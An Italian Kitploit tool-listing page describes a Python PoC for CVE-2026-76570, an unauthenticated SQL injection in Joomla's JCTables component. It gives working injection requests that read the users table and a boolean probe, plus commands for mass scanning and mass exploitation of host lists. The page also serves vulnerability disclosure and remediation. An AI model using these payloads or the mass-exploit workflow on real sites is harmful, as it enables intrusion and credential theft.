Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-76570 — PoC in Python per CVE-2026-76570: SQL injection non autenticata nell'API JSON front-end di Joomla JCTables (com_jctables), con modalità check, exploit e scansione di massa. | Kitploit
Strumenti/GitHubGitHub/murrez/cve-2026-76570
Scanner di VulnerabilitàScanner di Vulnerabilità WebAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubmurrez/cve-2026-76570

CVE-2026-76570

PoC in Python per CVE-2026-76570: SQL injection non autenticata nell'API JSON front-end di Joomla JCTables (com_jctables), con modalità check, exploit e scansione di massa.

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-76570 — JCTables (com_jctables) lettura/scrittura SQL non autenticata

PoC in Python 3 per CVE-2026-76570 — Joomcode JCTables — SQL injection non autenticata sull'API CRUD JSON del front-end (getdatarow, getrow, …).

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76570 (PUBBLICATA 2026-09-30)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNAJoomla! Project
Componentecom_jctables
Versioni interessate1.0.0 – 1.20.0 (lab: ≤ 1.10.31.2 confermata)
Correzione≥ 1.21.1 (2026-08-05)
CWECWE-89, CWE-862
CVSS 4.010.0 Critico — AT:N (nessuna configurazione admin speciale)
AnalisiVulnCheck — JCTables SQL R/W → catena RCE

Meccanismo (in breve)

I task del controller del front-end non hanno token / ACL. I nomi di tabelle e colonne provenienti dalla richiesta vengono concatenati nell'SQL; ladb_escape() considera i valori racchiusi tra virgolette come "già escapati". getdatarow può leggere tabelle arbitrarie del DB (ad es. {prefix}users). Questa PoC dimostra la lettura (riga con username / bcrypt) — non esegue l'intera catena login admin / RCE tramite plugin.

Indicatore di successo: POCBIT-76570-OK (nei metadati di prova JSON).

Requisiti

  • Python 3.9+
  • pip install requests urllib3 colorama

Utilizzo

cd CVE-2026-76570
python poc.py                         # interactive
python poc.py hits.txt                # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help

Superficie API

FaseRichiesta
Lettura rigaGET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
Sonda booleanaGET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

Remediation

Aggiornare JCTables alla versione 1.21.1+ o rimuovere il componente.

Note legali

Solo per test di sicurezza autorizzati.

Scarica lo strumento